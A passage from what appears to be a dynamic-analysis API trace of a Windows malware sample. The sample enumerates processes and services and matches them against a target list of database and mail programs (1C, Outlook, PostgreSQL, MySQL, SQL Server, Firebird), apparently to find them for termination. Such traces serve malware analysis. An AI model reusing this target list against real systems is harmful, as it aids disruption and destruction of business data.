(lpString="System") returned 6 [0187.429] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0187.430] lstrlenW (lpString="smss.exe") returned 8 [0187.430] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0187.431] lstrlenW (lpString="csrss.exe") returned 9 [0187.431] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0187.433] lstrlenW (lpString="wininit.exe") returned 11 [0187.433] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0187.434] lstrlenW (lpString="csrss.exe") returned 9 [0187.434] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x22c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0187.435] lstrlenW (lpString="winlogon.exe") returned 12 [0187.435] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0187.437] lstrlenW (lpString="services.exe") returned 12 [0187.437] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0187.439] lstrlenW (lpString="lsass.exe") returned 9 [0187.439] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x22c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0187.440] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0187.440] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0187.441] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0187.441] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.442] lstrlenW (lpString="svchost.exe") returned 11 [0187.442] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.444] lstrlenW (lpString="svchost.exe") returned 11 [0187.444] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x22c, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0187.445] lstrlenW (lpString="dwm.exe") returned 7 [0187.445] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.446] lstrlenW (lpString="svchost.exe") returned 11 [0187.446] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.447] lstrlenW (lpString="svchost.exe") returned 11 [0187.447] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.777] lstrlenW (lpString="svchost.exe") returned 11 [0187.777] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.778] lstrlenW (lpString="svchost.exe") returned 11 [0187.778] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.780] lstrlenW (lpString="svchost.exe") returned 11 [0187.780] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.781] lstrlenW (lpString="svchost.exe") returned 11 [0187.781] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.782] lstrlenW (lpString="svchost.exe") returned 11 [0187.782] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.783] lstrlenW (lpString="svchost.exe") returned 11 [0187.783] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.785] lstrlenW (lpString="svchost.exe") returned 11 [0187.785] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.786] lstrlenW (lpString="svchost.exe") returned 11 [0187.786] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x608, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0187.787] lstrlenW (lpString="spoolsv.exe") returned 11 [0187.787] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.788] lstrlenW (lpString="svchost.exe") returned 11 [0187.789] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0187.790] lstrlenW (lpString="audiodg.exe") returned 11 [0187.790] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0187.791] lstrlenW (lpString="taskhostw.exe") returned 13 [0187.791] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0187.792] lstrlenW (lpString="sihost.exe") returned 10 [0187.792] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.793] lstrlenW (lpString="svchost.exe") returned 11 [0187.793] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0187.794] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0187.794] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0187.796] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0187.796] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0187.797] lstrlenW (lpString="Memory Compression") returned 18 [0187.797] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0187.798] lstrlenW (lpString="taskhostw.exe") returned 13 [0187.798] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0187.801] lstrlenW (lpString="msoia.exe") returned 9 [0187.801] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0187.802] lstrlenW (lpString="explorer.exe") returned 12 [0187.802] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0187.803] lstrlenW (lpString="SearchUI.exe") returned 12 [0187.803] lstrcmpiW (lpString1="1c8.exe", lpString2="SearchUI.exe") returned -1 [0187.803] lstrcmpiW (lpString1="1cv77.exe", lpString2="SearchUI.exe") returned -1 [0187.803] lstrcmpiW (lpString1="outlook.exe", lpString2="SearchUI.exe") returned -1 [0187.803] lstrcmpiW (lpString1="postgres.exe", lpString2="SearchUI.exe") returned -1 [0187.803] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="SearchUI.exe") returned -1 [0187.803] lstrcmpiW (lpString1="mysqld.exe", lpString2="SearchUI.exe") returned -1 [0187.803] lstrcmpiW (lpString1="sqlservr.exe", lpString2="SearchUI.exe") returned 1 [0187.803] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0187.804] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0187.805] lstrcmpiW (lpString1="1c8.exe", lpString2="ShellExperienceHost.exe") returned -1 [0187.805] lstrcmpiW (lpString1="1cv77.exe", lpString2="ShellExperienceHost.exe") returned -1 [0187.805] lstrcmpiW (lpString1="outlook.exe", lpString2="ShellExperienceHost.exe") returned -1 [0187.805] lstrcmpiW (lpString1="postgres.exe", lpString2="ShellExperienceHost.exe") returned -1 [0187.805] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="ShellExperienceHost.exe") returned -1 [0187.805] lstrcmpiW (lpString1="mysqld.exe", lpString2="ShellExperienceHost.exe") returned -1 [0187.805] lstrcmpiW (lpString1="sqlservr.exe", lpString2="ShellExperienceHost.exe") returned 1 [0187.805] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0187.806] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0187.806] lstrcmpiW (lpString1="1c8.exe", lpString2="RuntimeBroker.exe") returned -1 [0187.806] lstrcmpiW (lpString1="1cv77.exe", lpString2="RuntimeBroker.exe") returned -1 [0187.806] lstrcmpiW (lpString1="outlook.exe", lpString2="RuntimeBroker.exe") returned -1 [0187.806] lstrcmpiW (lpString1="postgres.exe", lpString2="RuntimeBroker.exe") returned -1 [0187.806] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="RuntimeBroker.exe") returned -1 [0187.806] lstrcmpiW (lpString1="mysqld.exe", lpString2="RuntimeBroker.exe") returned -1 [0187.806] lstrcmpiW (lpString1="sqlservr.exe", lpString2="RuntimeBroker.exe") returned 1 [0187.806] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0187.807] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0187.807] lstrcmpiW (lpString1="1c8.exe", lpString2="WmiPrvSE.exe") returned -1 [0187.807] lstrcmpiW (lpString1="1cv77.exe", lpString2="WmiPrvSE.exe") returned -1 [0187.808] lstrcmpiW (lpString1="outlook.exe", lpString2="WmiPrvSE.exe") returned -1 [0187.808] lstrcmpiW (lpString1="postgres.exe", lpString2="WmiPrvSE.exe") returned -1 [0187.808] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="WmiPrvSE.exe") returned -1 [0187.808] lstrcmpiW (lpString1="mysqld.exe", lpString2="WmiPrvSE.exe") returned -1 [0187.808] lstrcmpiW (lpString1="sqlservr.exe", lpString2="WmiPrvSE.exe") returned -1 [0187.808] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa38, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 1 [0187.809] lstrlenW (lpString="wmxsde.exe") returned 10 [0187.809] lstrcmpiW (lpString1="1c8.exe", lpString2="wmxsde.exe") returned -1 [0187.809] lstrcmpiW (lpString1="1cv77.exe", lpString2="wmxsde.exe") returned -1 [0187.809] lstrcmpiW (lpString1="outlook.exe", lpString2="wmxsde.exe") returned -1 [0187.809] lstrcmpiW (lpString1="postgres.exe", lpString2="wmxsde.exe") returned -1 [0187.809] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wmxsde.exe") returned -1 [0187.809] lstrcmpiW (lpString1="mysqld.exe", lpString2="wmxsde.exe") returned -1 [0187.809] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wmxsde.exe") returned -1 [0187.809] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0187.811] lstrlenW (lpString="cmd.exe") returned 7 [0187.811] lstrcmpiW (lpString1="1c8.exe", lpString2="cmd.exe") returned -1 [0187.811] lstrcmpiW (lpString1="1cv77.exe", lpString2="cmd.exe") returned -1 [0187.811] lstrcmpiW (lpString1="outlook.exe", lpString2="cmd.exe") returned 1 [0187.811] lstrcmpiW (lpString1="postgres.exe", lpString2="cmd.exe") returned 1 [0187.811] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="cmd.exe") returned 1 [0187.811] lstrcmpiW (lpString1="mysqld.exe", lpString2="cmd.exe") returned 1 [0187.811] lstrcmpiW (lpString1="sqlservr.exe", lpString2="cmd.exe") returned 1 [0187.811] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0187.812] lstrlenW (lpString="conhost.exe") returned 11 [0187.812] lstrcmpiW (lpString1="1c8.exe", lpString2="conhost.exe") returned -1 [0187.812] lstrcmpiW (lpString1="1cv77.exe", lpString2="conhost.exe") returned -1 [0187.812] lstrcmpiW (lpString1="outlook.exe", lpString2="conhost.exe") returned 1 [0187.812] lstrcmpiW (lpString1="postgres.exe", lpString2="conhost.exe") returned 1 [0187.812] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="conhost.exe") returned 1 [0187.812] lstrcmpiW (lpString1="mysqld.exe", lpString2="conhost.exe") returned 1 [0187.812] lstrcmpiW (lpString1="sqlservr.exe", lpString2="conhost.exe") returned 1 [0187.812] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x3bc, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0188.380] lstrlenW (lpString="consent.exe") returned 11 [0188.380] lstrcmpiW (lpString1="1c8.exe", lpString2="consent.exe") returned -1 [0188.380] lstrcmpiW (lpString1="1cv77.exe", lpString2="consent.exe") returned -1 [0188.380] lstrcmpiW (lpString1="outlook.exe", lpString2="consent.exe") returned 1 [0188.380] lstrcmpiW (lpString1="postgres.exe", lpString2="consent.exe") returned 1 [0188.380] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="consent.exe") returned 1 [0188.380] lstrcmpiW (lpString1="mysqld.exe", lpString2="consent.exe") returned 1 [0188.380] lstrcmpiW (lpString1="sqlservr.exe", lpString2="consent.exe") returned 1 [0188.380] Process32NextW (in: hSnapshot=0x2a8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x3bc, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0188.382] CloseHandle (hObject=0x2a8) returned 1 [0188.382] Sleep (dwMilliseconds=0x1f4) [0188.978] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x459f178 [0188.979] EnumServicesStatusExW (in: hSCManager=0x459f178, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 0 [0188.979] GetLastError () returned 0xea [0188.980] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1bc4) returned 0x4661fb8 [0188.980] EnumServicesStatusExW (in: hSCManager=0x459f178, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4661fb8, cbBufSize=0x1bc4, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4661fb8, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 1 [0188.981] CloseServiceHandle (hSCObject=0x459f178) returned 1 [0188.982] lstrlenW (lpString="Appinfo") returned 7 [0188.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0188.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0188.982] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0188.982] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0188.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0188.982] lstrlenW (lpString="AppXSvc") returned 7 [0188.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0188.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0188.982] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0188.982] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0188.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0188.982] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0188.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0188.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0188.982] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0188.982] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0188.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0188.982] lstrlenW (lpString="Audiosrv") returned 8 [0188.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0188.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0188.983] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0188.983] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0188.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0188.983] lstrlenW (lpString="BFE") returned 3 [0188.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0188.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0188.983] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0188.983] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0188.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0188.983] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0188.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0188.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0188.983] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0188.983] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0188.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0188.983] lstrlenW (lpString="CDPSvc") returned 6 [0188.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0188.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0188.983] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0188.983] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0188.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0188.984] lstrlenW (lpString="ClickToRunSvc") returned 13 [0188.984] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0188.984] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0188.984] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0188.984] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0188.984] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0188.984] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0188.984] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0188.984] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0188.984] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0188.984] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0188.984] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0188.984] lstrlenW (lpString="CryptSvc") returned 8 [0188.984] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0188.984] lstrcmpiW 